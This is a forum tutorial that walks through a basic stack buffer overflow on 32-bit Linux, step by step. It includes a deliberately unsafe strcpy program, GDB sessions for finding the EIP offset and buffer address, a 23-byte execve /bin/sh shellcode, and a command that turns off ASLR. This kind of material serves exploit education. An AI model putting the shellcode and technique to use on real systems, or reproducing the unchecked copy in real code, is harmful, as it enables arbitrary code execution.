1
Tutorials / GNU/Linux Exploiting [00] - Basic Stack BOF
« on: February 20, 2016, 07:46:36 pm »-= GNU/Linux Exploiting [00] - Basic Stack BOF =-
Hi this is Sherlock3d, and today i'll try to explain as good as I can the basics of GNU/Linux exploiting. In this chapter we'll get in touch with the necessary concepts for understanding stack buffers overflows exploitation but before starting what we need for this? We just need a GNU/Linux distribution with x86_32 arch! (probably if you have some basics of high and low level programming this will be easier for you but i'll try to explain this for everybody who wants to learn).If you pay attention to the title and you're a neophyte you won't know what does "stack" and "buffer overflow" mean, let's speak a bit about those concepts.
Stack: Stack is a ordered data structure where we can save and recover data and it's access mode it's LIFO which means Last In First Out, for handling the data we have two basic operations POP (removes last in) and PUSH (puts an element to the list) but we can't take whatever you want cause we only have acces to the last element in the top of the stack.
Buffer Overflow / Buffer overrun: A buffer overflow it's a bit complex than stack, it's an error that happends when a software doesn't control properly the quantity of data which is copied into a buffer (a buffer is a reserved space of memory). And what happends when you overwrite the bytes that were preassigned? Then we overwrite other memory zones and this could allow an attacker to run arbitrary code.
Then let's start writing a small C program for our testing lab:
Code: [Select]
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
if(argc!=2){
printf("Usage: %s something\n", argv[0]);
exit(0);
}
char buffer[50];
strcpy(buffer, argv[1]);
printf("%s \n", buffer);
return 0;
}
First we include the header files that we'll need, stdlib it's the standard library and string will be the causative of the buffer overflow. After including the pre processing files we declare the main function where we check if the user has inserted the necessary arguments, then we declare a buffer of 50 bytes, we copy into that buffer the argument who has inserted the user and we take a look of what he has inserted.Now we can see that if we insert more than 50 bytes our buffer won't save the data and as a consequence we'll overwrite other parts of the memory.
Let's see what happends, first we must compile the program without protections let's use GCC:
Code: [Select]
gcc -fno-stack-protector -z execstack
In the following chapters we'll see how to dodge those protections and much more but let's start from basics. Testing a bit we have this situation:Code: [Select]
devil@backbox-vm:~/Escritorio$ ./evil
Usage: ./evil something
devil@backbox-vm:~/Escritorio$ ./evil evilzone
evilzone
devil@backbox-vm:~/Escritorio$ ./evil $(python -c 'print "A"*55')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
devil@backbox-vm:~/Escritorio$ ./evil $(python -c 'print "A"*100')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Violación de segmento
devil@backbox-vm:~/Escritorio$
Men u're a lier we have entered more than 50 bytes and the program continued his flow, and the answer is easy it depends on the compiler and his version.Now let's make a pause and speak a bit about our arch, we know that we're in IA32 which means that we have 8 registers of 32 bits (a register it's a fast memory that saves few data):
- EAX: Aritmetic and logic operations
- EBX: Data transfer between memory and processor
- ECX: Loops counter
- EDX: Complex aritmetic operations
- EIP: Points to the following instruction
- EBP: Points to the base of the stack
- ESP: Points to the top of the stack
- ESI: Points to a string
But how many bytes do we need till taking EIP? The easiest way is by using a cyclic pattern there are many tools for this for example metasploit contains some cool stuff for detecting our offset, other way it's manually with a debugger and your brain!
Let's make it easy with pattern_create.rb from metasploit, let's generate 100 bytes cause we know that with those bytes we get a memory corruption:
Code: [Select]
root@backbox-vm:/opt/metasploit-framework/tools# ./pattern_create.rb 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
If we use a debugger/dissasembler and we run this string we have this result:Code: [Select]
devil@backbox-vm:~/Escritorio$ gdb -q ./evil
Leyendo símbolos desde ./evil...(no se encontraron símbolos de depuración)hecho.
(gdb) run Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /home/devil/Escritorio/evil Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program received signal SIGSEGV, Segmentation fault.
0x31634130 in ?? ()
(gdb) quit
Una sesión de depuración está activa.
Inferior 1 [process 3408] will be killed.
¿Salir de cualquier modo? (y o n) y
devil@backbox-vm:~/Escritorio$ sudo /opt/metasploit-framework/tools/pattern_offset.rb 0x31634130 100[sudo] password for devil:
[*] Exact match at offset 62
devil@backbox-vm:~/Escritorio$
We're using the GNU Debugger so we just run the string and we take the direction that the program was trying to access (0x31634130) with an other script from metasploit we see that we need 62 bytes for overwriting our EIP, we know that in our arch (IA32) the memory directions are made with 4 bytes so with 62 (junk) + 4 (eip) = 66 bytes we have EIP in our hands:Code: [Select]
devil@backbox-vm:~/Escritorio$ gdb -q ./evil
Leyendo símbolos desde ./evil...(no se encontraron símbolos de depuración)hecho.
(gdb) run $(python -c 'print "A"*62+"B"*4')
Starting program: /home/devil/Escritorio/evil $(python -c 'print "A"*62+"B"*4')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip
eip 0x42424242 0x42424242
(gdb)
Yep, we did it 0x42 (B in hex), now we know how many bytes we need for taking off EIP but how do we get the arbitrary code execution with the EIP? If the EIP points to our payload it's done, so let's try to get our buffer's direction.For this we'll run 66 bytes (overwrite the EIP) but let's set a breakpoint after the strcpy call, let's disass the main function with GDB:
Code: [Select]
devil@backbox-vm:~/Escritorio$ gdb -q ./evil
Leyendo símbolos desde ./evil...(no se encontraron símbolos de depuración)hecho.
(gdb) disass main
Dump of assembler code for function main:
0x0804847d <+0>: push %ebp
0x0804847e <+1>: mov %esp,%ebp
0x08048480 <+3>: and $0xfffffff0,%esp
0x08048483 <+6>: sub $0x50,%esp
0x08048486 <+9>: cmpl $0x2,0x8(%ebp)
0x0804848a <+13>: je 0x80484ad <main+48>
0x0804848c <+15>: mov 0xc(%ebp),%eax
0x0804848f <+18>: mov (%eax),%eax
0x08048491 <+20>: mov %eax,0x4(%esp)
0x08048495 <+24>: movl $0x8048570,(%esp)
0x0804849c <+31>: call 0x8048330 <printf@plt>
0x080484a1 <+36>: movl $0x0,(%esp)
0x080484a8 <+43>: call 0x8048360 <exit@plt>
0x080484ad <+48>: mov 0xc(%ebp),%eax
0x080484b0 <+51>: add $0x4,%eax
0x080484b3 <+54>: mov (%eax),%eax
0x080484b5 <+56>: mov %eax,0x4(%esp)
0x080484b9 <+60>: lea 0x1e(%esp),%eax
0x080484bd <+64>: mov %eax,(%esp)
0x080484c0 <+67>: call 0x8048340 <strcpy@plt>
0x080484c5 <+72>: lea 0x1e(%esp),%eax
0x080484c9 <+76>: mov %eax,0x4(%esp)
0x080484cd <+80>: movl $0x8048585,(%esp)
0x080484d4 <+87>: call 0x8048330 <printf@plt>
0x080484d9 <+92>: mov $0x0,%eax
0x080484de <+97>: leave
0x080484df <+98>: ret
End of assembler dump.
(gdb)
So if we break 0x080484c5 <+72> and we take a look of our ESP content maybe we can find something interesting:Code: [Select]
(gdb) break *main+72
Punto de interrupción 1 at 0x80484c5
(gdb) run $(python -c 'print "A"*66')
Starting program: /home/devil/Escritorio/evil $(python -c 'print "A"*66')
Breakpoint 1, 0x080484c5 in main ()
(gdb) x/40x $esp
0xbffff1f0: 0xbffff20e 0xbffff493 0xb7e1ebf8 0xb7e45273
0xbffff200: 0x00000000 0x00ca0000 0x00000001 0x414182fd
0xbffff210: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff220: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff230: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff240: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff250: 0x00000000 0xbffff2e4 0xbffff2f0 0xb7feccea
0xbffff260: 0x00000002 0xbffff2e4 0xbffff284 0x0804a01c
0xbffff270: 0x0804823c 0xb7fbc000 0x00000000 0x00000000
0xbffff280: 0x00000000 0x56d7f3c3 0x6c47d7d3 0x00000000
(gdb)
Yeah here we have what we entered and the direction: 0xbffff210So remember we must use little-endian format for the memory directions, how can we can beat the system now?
Shellcode (x86_32) + Junk Code + Buffer's direction
Let's use this shellcode of 23 bytes:
Code: [Select]
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
Let's see how it works:Yeah it worked perfectly, now if you try to run the same payload outside the debugger it won't work due to the fact that the memory directions change inside the debugger and you'll also have to dissable the ASLR cause it makes the directions random. How to do it?
Code: [Select]
echo 0 > /proc/sys/kernel/randomize_va_space
I wish you have learn something new! If you have any doubt feel free to coment the thread and i'm sorry for my grammar Sherlock3d
PD: If some one wants to share please add the author (me) and the forum(evilzone)!